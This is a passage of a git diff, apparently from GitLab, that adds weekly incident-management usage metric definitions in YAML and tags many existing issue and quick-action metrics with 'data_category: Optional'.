@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_created_weekly
+description: Count of unique users creating incidents per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180543_incident_management_incident_reopened_weekly.yml b/config/metrics/counts_7d/20210216180543_incident_management_incident_reopened_weekly.yml
new file mode 100644
index 00000000000..c9c7ea0e28a
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180543_incident_management_incident_reopened_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_reopened_weekly
+description: Count of unique users reopening incidents per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180546_incident_management_incident_closed_weekly.yml b/config/metrics/counts_7d/20210216180546_incident_management_incident_closed_weekly.yml
new file mode 100644
index 00000000000..3f0042c3f89
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180546_incident_management_incident_closed_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_closed_weekly
+description: Count of users closing incidents per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180550_incident_management_incident_assigned_weekly.yml b/config/metrics/counts_7d/20210216180550_incident_management_incident_assigned_weekly.yml
new file mode 100644
index 00000000000..3b84275a572
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180550_incident_management_incident_assigned_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_assigned_weekly
+description: Count of unique users assiging incidents per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180554_incident_management_incident_todo_weekly.yml b/config/metrics/counts_7d/20210216180554_incident_management_incident_todo_weekly.yml
new file mode 100644
index 00000000000..7f5432e205a
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180554_incident_management_incident_todo_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_todo_weekly
+description: Count of unique users adding incidents to the TODO list per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180558_incident_management_incident_comment_weekly.yml b/config/metrics/counts_7d/20210216180558_incident_management_incident_comment_weekly.yml
new file mode 100644
index 00000000000..02ddf7986bc
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180558_incident_management_incident_comment_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_comment_weekly
+description: Count of unique users adding comments on incidents per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180601_incident_management_incident_zoom_meeting_weekly.yml b/config/metrics/counts_7d/20210216180601_incident_management_incident_zoom_meeting_weekly.yml
new file mode 100644
index 00000000000..a372b9e068e
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180601_incident_management_incident_zoom_meeting_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_zoom_meeting_weekly
+description: Count of unique users creating Zoom meetings about incidents per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180609_incident_management_incident_relate_weekly.yml b/config/metrics/counts_7d/20210216180609_incident_management_incident_relate_weekly.yml
new file mode 100644
index 00000000000..a08dd85c39c
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180609_incident_management_incident_relate_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_relate_weekly
+description: Count of unique users adding issues per that are related to an incident week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180612_incident_management_incident_unrelate_weekly.yml b/config/metrics/counts_7d/20210216180612_incident_management_incident_unrelate_weekly.yml
new file mode 100644
index 00000000000..f618155abb7
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180612_incident_management_incident_unrelate_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_unrelate_weekly
+description: Count of unique users removing issue that are related to an incident per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180616_incident_management_incident_change_confidential_weekly.yml b/config/metrics/counts_7d/20210216180616_incident_management_incident_change_confidential_weekly.yml
new file mode 100644
index 00000000000..724370ed549
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180616_incident_management_incident_change_confidential_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_incident_change_confidential_weekly
+description: Count of unique users changing incidents to confidential per week
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180620_incident_management_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216180620_incident_management_total_unique_counts_weekly.yml
new file mode 100644
index 00000000000..ab49f7e70e6
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180620_incident_management_total_unique_counts_weekly.yml
@@ -0,0 +1,19 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management.incident_management_total_unique_counts_weekly
+description: Count of unique users performing events related to the incident management
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category:
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216180623_incident_management_alert_create_incident_weekly.yml b/config/metrics/counts_7d/20210216180623_incident_management_alert_create_incident_weekly.yml
new file mode 100644
index 00000000000..61d7875b205
--- /dev/null
+++ b/config/metrics/counts_7d/20210216180623_incident_management_alert_create_incident_weekly.yml
@@ -0,0 +1,20 @@
+---
+data_category: Optional
+key_path: redis_hll_counters.incident_management_alerts.incident_management_alert_create_incident_weekly
+description: Count of unique users per week to create an incident corresponding to
+ an alert
+product_section: ops
+product_stage: monitor
+product_group: group::monitor
+product_category: incident_management
+value_type: number
+status: data_available
+time_frame: 7d
+data_source: redis_hll
+distribution:
+- ce
+- ee
+tier:
+- free
+- premium
+- ultimate
diff --git a/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml b/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml
index 71983a1ddb4..79407c70dd5 100644
--- a/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_description_changed_weekly
description: Count of WAU editing an issue description
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml b/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml
index 9c75d0b6b63..4281d78ae7d 100644
--- a/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_assignee_changed_weekly
description: Count of WAU changing issue assignees
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml b/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml
index 36ee2fae2de..f3a6812cf6d 100644
--- a/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml
+++ b/config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_made_confidential_weekly
description: Count of WAU making an issue confidential
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml b/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml
index fb9f7841d7c..ad7fdda5984 100644
--- a/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml
+++ b/config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_made_visible_weekly
description: Count of WAU making an issue not confidential
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml b/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml
index 986015c578d..8d1bed247b9 100644
--- a/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml
+++ b/config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_created_weekly
description: Count of WAU creating issues
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml b/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml
index 41ce86d5862..34a0e306822 100644
--- a/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_closed_weekly
description: Count of WAU closing an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml b/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml
index d276e45bc64..37df169972c 100644
--- a/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml
+++ b/config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_reopened_weekly
description: Count of WAU re-opening a closed issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml b/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml
index 64a0f936ec6..437d115fadd 100644
--- a/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_label_changed_weekly
description: Count of WAU changing an issue's label
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml b/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml
index b793fde042b..b51f8afc673 100644
--- a/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_milestone_changed_weekly
description: Count of WAU changing an issue's milestone
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml b/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml
index 2dcc0eddc56..3bfb7aae868 100644
--- a/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml
+++ b/config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_cross_referenced_weekly
description: Count of WAU referencing an issue from somewhere else
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml b/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml
index 3be8f0646e7..e42797908c4 100644
--- a/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml
+++ b/config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_moved_weekly
description: Count of WAU moving an issue to another project
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml b/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml
index b4fb4d5bd63..d98f25c1b20 100644
--- a/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml
+++ b/config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_related_weekly
description: Count of WAU relating an issue to another issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml b/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml
index 7f2f70411dc..c88a0eabefa 100644
--- a/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml
+++ b/config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_unrelated_weekly
description: Count of WAU unrelating an issue to another issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml b/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml
index 791fc680ac0..a633eadcea2 100644
--- a/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml
+++ b/config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_marked_as_duplicate_weekly
description: Count of WAU marking an issue as a duplicate
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml b/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml
index 9afa4daf268..a1423d961c8 100644
--- a/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml
+++ b/config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_locked_weekly
description: Count of WAU locking an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml b/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml
index 6de0bc2168c..cdc010c89d3 100644
--- a/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml
+++ b/config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_unlocked_weekly
description: Count of WAU unlocking an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml b/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml
index 73ec2542682..6128830827f 100644
--- a/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml
+++ b/config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_added_weekly
description: Count of WAU adding a design to an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml b/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml
index b1e6d34c412..06a0481802c 100644
--- a/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml
+++ b/config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_modified_weekly
description: Count of WAU modifying a design on an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml b/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml
index 51f3f6584b6..f6c0e1fac84 100644
--- a/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_designs_removed_weekly
description: Count of WAU removing a design from an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml b/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml
index 2a699bc67d5..1405f7966cc 100644
--- a/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_due_date_changed_weekly
description: Count of WAU changing an issue due date
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml b/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml
index 1457453aa04..88617905463 100644
--- a/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_time_estimate_changed_weekly
description: Count of WAU changing an issue time estimate
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml b/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml
index eacf55f9984..ef16ec406d9 100644
--- a/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_time_spent_changed_weekly
description: Count of WAU recording time spent on an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml b/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml
index 7f8bfa07f0a..3c89bb79fdf 100644
--- a/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml
+++ b/config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_added_weekly
description: Count of WAU commenting on an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml b/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml
index 4f1c6f2e576..ad7f4adb5ea 100644
--- a/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml
+++ b/config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_edited_weekly
description: Count of WAU editing a comment on an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml b/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml
index 7802ebf2d97..edc1b2efc59 100644
--- a/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml
+++ b/config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_comment_removed_weekly
description: Count of WAU deleting a comment from an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml b/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml
index 0023d75bf4c..85b12d6af6b 100644
--- a/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml
+++ b/config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.g_project_management_issue_cloned_weekly
description: Count of WAU cloning an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml b/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml
index 59d0779c7d4..2dcb9cb42c8 100644
--- a/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml
+++ b/config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.issues_edit.issues_edit_total_unique_counts_weekly
description: Aggregate count of WAU taking an action related to an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml b/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
index a8dbfcf2555..4ef1a406ce0 100644
--- a/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
+++ b/config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_approve_weekly
description: Count of WAU using the `/approve` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml b/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml
index edc9becd5fb..a32968621af 100644
--- a/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml
+++ b/config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_assign_single_weekly
description: Count of WAU using the `/assign @user1` quick action to assign a single individual to an issuable
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml b/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml
index d92701b864c..034394c338a 100644
--- a/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml
+++ b/config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_assign_self_weekly
description: Count of WAU using the `/assign me` quick action to assign self to an issuable
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml b/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml
index 51c3c4a61e0..ddeb9b88df8 100644
--- a/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml
+++ b/config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_assign_reviewer_weekly
description: Count of WAU using the `/assign_reviewer` or `request_reviewer` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml b/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml
index fe5f5f3c9d5..f002171bf96 100644
--- a/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml
+++ b/config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_award_weekly
description: Count of WAU using the `/award` quick action to set an award emoji on an issuable
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml b/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml
index c8b4a45f7f9..05012ed36d8 100644
--- a/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml
+++ b/config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_board_move_weekly
description: Count of WAU using the `/board_move` quick action
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml b/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml
index 6a02c7721e9..f7fbf7e722a 100644
--- a/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml
+++ b/config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_clone_weekly
description: Count of WAU using the `/clone` quick action to clone an issue.
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml b/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml
index 1afed34d3d2..3fb5f7f2504 100644
--- a/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml
+++ b/config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_close_weekly
description: Count of WAU using the `/close` quick action to close an issuable
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml b/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml
index 9536278ed5c..7119cec2083 100644
--- a/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml
+++ b/config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_confidential_weekly
description: Count of WAU using the `/confidential` quick action to set an issue as confidential
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml b/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml
index 0661fda6954..a317c83e75e 100644
--- a/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml
+++ b/config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_merge_request_weekly
description: Count of WAU using the `/copy_metadata` quick action on a Merge Request
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml b/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml
index 42cb960a4ef..39495ccca3c 100644
--- a/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml
+++ b/config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: redis_hll_counters.quickactions.i_quickactions_copy_metadata_issue_weekly
description: Count of WAU using the `/copy_metadata` quick action on an issue
product_section: dev
diff --git a/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml b/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml
index 9e94ec9940e..f6c15cf447a 100644
--- a/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml
+++ b/config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml
